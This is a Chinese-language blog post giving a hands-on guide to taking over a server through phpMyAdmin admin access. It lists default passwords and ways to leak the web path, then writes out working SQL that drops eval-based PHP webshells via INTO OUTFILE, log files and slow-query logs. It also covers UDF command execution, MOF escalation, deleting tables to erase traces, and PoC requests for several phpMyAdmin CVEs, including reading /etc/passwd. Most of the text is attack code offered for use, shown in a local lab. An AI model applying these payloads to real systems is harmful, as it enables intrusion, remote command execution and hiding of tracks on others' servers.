banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

phpmyadmin後台getshell及漏洞利用

事情起因#

前面我也寫過關於phpmyadmin後台弱密碼爆破的文章

那麼得到phpmyadmin後台登錄權限之後,該如何給伺服器寫入一個shell好讓我們進一步操作呢?

環境配置#

phpMyAdmin 的漏洞多為經過驗證後才能利用,所以需要進入後台

進入後台的方法可以是:

  • 弱密碼:root/root,root / 空,mysql/mysql
  • 爆破:參考我之前寫過的 phpmyadmin 爆破文章
  • 目錄洩露

環境使用的是phpstudy2018版本,原來爆出過有漏洞,已經修復

image

  • Apache/2.4.23
  • PHP/5.4.45
  • MySQL/5.5.53

需要的條件#

這裡只是列出來所有可能用到的權限,不是所有寫入方式都需要所有權限

絕對路徑#

物理路徑

select version();  -- 查看數據庫版本
select @@datadir;  -- 查看數據庫存儲路徑
show VARIABLES like '%char%';  -- 查看系統變量

image

也可以通過log變量得到:

image

phpinfo()頁面:最理想的情況,直接顯示 web 路徑

利用select load_file()讀取文件找到web路徑:

可以嘗試/etc/passwdapache|nginx|httpd log之類的文件。

配置文件爆路徑:如果注入點有文件讀取權限,可通過 load_file 嘗試讀取配置文件

# Windows
 c:\windows\php.ini                             # php配置文件
 c:\windows\system32\inetsrv\MetaBase.xml       # IIS虛擬主機配置文件
  # Linux
 /etc/php.ini                                   # php配置文件
 /etc/httpd/conf.d/php.conf
 /etc/httpd/conf/httpd.conf                     # Apache配置文件
 /usr/local/apache/conf/httpd.conf
 /usr/local/apache2/conf/httpd.conf
 /usr/local/apache/conf/extra/httpd-vhosts.conf # 虛擬目錄配置文件

單引號爆路徑:直接在 URL 後面加單引號。要求單引號沒有被過濾 (gpc=off) 且伺服器默認返回錯誤信息。

www.abc.com/index.php?id=1'

錯誤參數值爆路徑:嘗試將要提交的參數值改成錯誤值。

www.abc.com/index.php?id=-1

Nginx文件類型錯誤解析爆路徑:要求Web伺服器是Nginx,且存在文件類型解析漏洞。

在圖片地址後添加/x.php,該圖片不但會被當作php文件執行,還有可能爆出物理路徑。

www.abc.com/bg.jpg/x.php

Google爆路徑:

site:xxx.com warning
site:xxx.com “fatal error”

測試文件爆路徑:

www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php

其它

phpMyAdmin/libraries/selectlang.lib.php
phpMyAdmin/darkblueorange/layout.inc.php
phpmyadmin/themes/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/phpinfo.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php

賬戶是否有讀寫權限#

如果遇到寫入shell時報錯,也可以檢測以下用戶權限:

select * from mysql.user;                //查詢所有用户權限
select * from mysql.user where user="root";        //查詢root用戶權限
update user set File_priv ='Y' where user = 'root';      //允許root用戶讀寫文件
update user set File_priv ='N' where user = 'root';      //禁止root用戶讀寫文件
flush privileges;                    //刷新MySQL系統權限相關表

image

路徑是否具有讀寫權限#

secure_file_priv 權限#

select @@secure_file_priv;   -- 查詢secure_file_priv
 -- secure_file_priv=NULL,禁止導入導出
 -- secure_file_priv='',不限制導入導出,Linux下默認/tmp目錄可寫
 -- secure_file_priv=/path/,只能向指定目錄導入導出

my.inimy.cnfmysqld.cnf文件中找到secure_file_prive並將其值設置為 ""或"/",重啟 MySQL 服務!

這是通用方法,在phpstudy中的mysql的配置文件中是沒有這個參數的

所以我們自己在配置文件中添加一行secure_file_priv =即可。

image

image

重啟mysql再次查看:

image

日誌讀寫權限#

查看日誌狀態:

show variables  like  '%general%';

image

開啟general時,所執行的sql語句都會出現在 *******.log 文件。

那麼,如果修改general_log_file的值,所執行的sql語句會生成shell

開啟日誌讀寫:

SET GLOBAL general_log='on'

image

其他權限#

magic_quotes_gpc:開啟時,會對 ' 單引號進行轉義,使其變成\反斜杠。

getshell#

常規 getshell#

需要的條件是:

  • 當前的數據庫用戶有寫權限
  • 知道 web 絕對路徑
  • web 路徑能寫

使用:

select '<?php @eval($_POST[soap]);?>' into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\config.php';

image

注意,如果是在phpmyadminsql語句中執行寫入的話,路徑只能是斜杠 / 或者雙反斜杠 \

如果報錯提示Can't create/write to file 'xxx/xxx/xxx.php' (Errcode: 13)

證明目錄不可寫,可以嘗試網站下其他目錄,如:

  • /upload
  • /templates
  • /cache

寫入中文路徑shell:

set character_set_client='gbk';set character_set_connection='gbk';set character_set_database='gbk';set character_set_results='gbk';set character_set_server='gbk';select '<?php eval($_POST[soap]);?>' into outfile 'C:\\phpStudy\\WWW\\測試\\config.php';

蟻劍連接:http://192.168.1.7/config.php,密碼:soap

image

image

還可以這樣利用:

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\test.php';

訪問鏈接:http://192.168.1.7/test.php?cmd=net user

image

image

在有注入點的地方也可以這樣使用:

id=1) into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\settings.php' fields terminated by '<?php @eval($_POST[]);?>'

建表 getshell#

直接phpmyadmin裡操作也可以,或者直接sql語句建表:

CREATE TABLE `mysql`.`soapffz` (`content` TEXT NOT NULL );
INSERT INTO `mysql`.`soapffz` (`content` ) VALUES ('<?php @eval($_POST[soap]);?>');
SELECT `content` FROM `mysql`.`soapffz` INTO OUTFILE 'C:\\phpstudy\\PHPTutorial\\WWW\\test3.php';
或者
Create TABLE soapffz (content text NOT NULL);
Insert INTO soapffz (content) VALUES('<?php @eval($_POST[pass]);?>');
select `content` from mysql.soapffz into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\test3.php';
然後刪除所建的表抹去痕跡
DROP TABLE IF EXISTS `mysql`.`soapffz`;

image

shell連接即可

日誌 getshell#

需要的條件:

  • 日誌記錄開啟
  • web 絕對路徑

實際執行的操作:

  • 修改日誌文件為 webshell

通過寫入日誌文件 getshell#

注意,通過:

show global variables like "%genera%";
set global general_log='on';

操作設置的目錄開啟的操作在重啟phpstudy後會失效

指定日誌文件:

set global general_log_file = "C:/phpstudy/PHPTutorial/WWW/test2.php";

寫入執行代碼:

SELECT '<?php eval($_POST["soap"]);?>'

通過慢查詢寫入 shell#

查看當前慢查詢日誌目錄:

show variables like '%slow%';

image

重新設置路徑:

set GLOBAL slow_query_log_file='C:/phpstudy/PHPTutorial/WWW/slow.php';

開啟慢查詢日誌:

set GLOBAL slow_query_log=on;

執行寫入日誌:

select '<?php eval($_POST["soap"]);?>' from mysql.db where sleep(10);

User defined funct ion(UDF)#

適用於WindowsLinux環境

需要的條件:

  • 具有寫權限
  • 插件目錄可寫(或者可以更改指定的插件目錄)。

具體情況要看目標 mysql 的版本:

  • Mysql version > 5.1 時,dll 或者 so 必須位於 mysql 安裝目錄 lib\plugin 下,當對該目錄具有寫權限時可以利用,查看:
    show variables like %plugin%;// 查看插件目錄
  • 5.0 <= Mysql version <5.1 時,需要導出至目標伺服器的系統目錄,如 C://Windows/System32
  • Mysql version < 5.0 時,目錄可以自定義具體利用如下:

根據目標mysql版本寫入特定目錄的so或者dll,可以參考sqlmap裡面的

select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\l ib\plugin\lib_mysqludf_sys.dll';

創建對應的 function:

create function sys_eval returns string soname "lib_mysqludf_sys.dll";

執行命令:

select * from mysql.func where name = 'sys_eval'; #查看創建的sys_eval函數
select sys_eval('whoami'); #使用系統命令

MOF 提權#

通過mysql將文件寫入一個MOF文件替換掉原有的MOF文件,然後系統每隔五秒就會執行一次上傳的MOF

一般適用於Windows <= 2003,並且C:\Windows\System32\mof目錄具有寫權限(一般是沒有權限寫)。

可以使用MSF直接利用:exploit/windows/mysql/mysql_mof

特殊版本 getshell#

CVE-2013-3238
影響版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
利用模塊:exploit/multi/http/phpmyadminpregreplace
CVE-2012-5159
影響版本:phpMyAdmin v3.5.2.2
利用模塊:exploit/multi/http/phpmyadmin3522_backdoor
CVE-2009-1151
PhpMyAdmin配置文件/config/config.inc.php存在命令執行
影響版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
利用模塊:exploit/unix/webapp/phpmyadmin_config
弱口令&萬能密碼
弱口令:版本phpmyadmin2.11.9.2, 直接root用戶登錄,無需密碼
萬能密碼:版本2.11.3 / 2.11.4,使用者'localhost'@'@"則登錄成功

phpmyadmin 漏洞利用#

WooYun-2016-1994 33:任意文件讀取漏洞

影響 phpMyAdmin2.x版本,poc如下:

POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

CVE-2014 -8959:本地文件包含

影響範圍:phpMyAdmin 4 .0.1--4 .2.12,需要PHP version < 5.3.4Poc如下:

/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=
/../../../../phpinfo.txt%00    # 注意改下token值

在實際利用中可以利用寫入文件到/tmp目錄下結合此漏洞完成RCEphp版本可以通過http header

導出表內容到文件的附加內容看到。

CVE-2016-5734 :後台RCE

影響範圍:PhpMyAdmin4 .0.x-4 .6.2,需要PHP 4 .3.0-5.4 .6 versions,利用如下:

cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"

CVE-2018-1261:後台文件包含

phpMyAdmin 4 .8.04 .8.1,經過驗證可實現任意文件包含。利用如下:

執行SQL語句,將PHP代碼寫入Session文件中:

select '<?php phpinfo();exit;?>'

包含session文件:

http://10.1.1.10/index.php?target=db_sql.php%253f/../../../../../../../../var/l ib/php/sessions/sess_*** # *** 為phpMyAdmin的COOKIE值

CVE-2018-19968:任意文件包含/RCE

phpMyAdmin 4 .8.0~4 .8.3,利用如下:

創建數據庫,並將PHP代碼寫入Session文件中:

CREATE DATABASE foo;
CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';

生成foo數據庫的phpMyAdmin的配置表,訪問:

http://10.1.1.10/chk_rel.php?fixall_pmadb=1&db=foo

篡改數據插入pma column_info中:

INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_***','plop'; # *** 為phpMyAdmin 的COOKIE值

這裡要注意不用系統的session保存位置不同,具體系統可以在phpMyAdmin登錄後首頁看到

MacOS/var/tmp
Linux/var/lib/php/sessions
phpStudy/phpstudy/PHPTutorial/tmp/tmp

訪問包含Session文件的地址:

http://10.1.1.10/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[ multi_edit][][]=baz&clause_is_unique=1

參考文章:

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。